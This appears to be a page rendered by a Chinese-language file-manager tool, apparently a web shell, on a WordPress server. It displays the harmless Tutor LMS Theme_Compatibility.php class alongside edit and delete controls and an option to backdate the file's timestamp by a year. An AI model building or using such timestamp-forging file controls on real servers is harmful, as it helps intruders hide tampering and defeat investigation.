文件操作 - Theme_Compatibility.php
返回文件管理
返回主菜单
删除本文件
文件: /home/www/public/wp-content/plugins/tutor/classes/Theme_Compatibility.php
编辑文件内容
<?php /** * Integration class * * @package Tutor\ThemeCompatibility * @author Themeum <support@themeum.com> * @link https://themeum.com * @since 1.0.0 */ namespace TUTOR; if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Template compatibility * * @since 1.0.0 */ class Theme_Compatibility { /** * Prepare dependencies * * @since 1.0.0 */ public function __construct() { $template = trailingslashit( get_template() ); $tutor_path = tutor()->path; $compatibility_theme_path = $tutor_path . 'includes/theme-compatibility/' . $template . 'functions.php'; if ( file_exists( $compatibility_theme_path ) ) { include $compatibility_theme_path; } } }
修改文件时间
将文件时间修改为当前时间的前一年
删除文件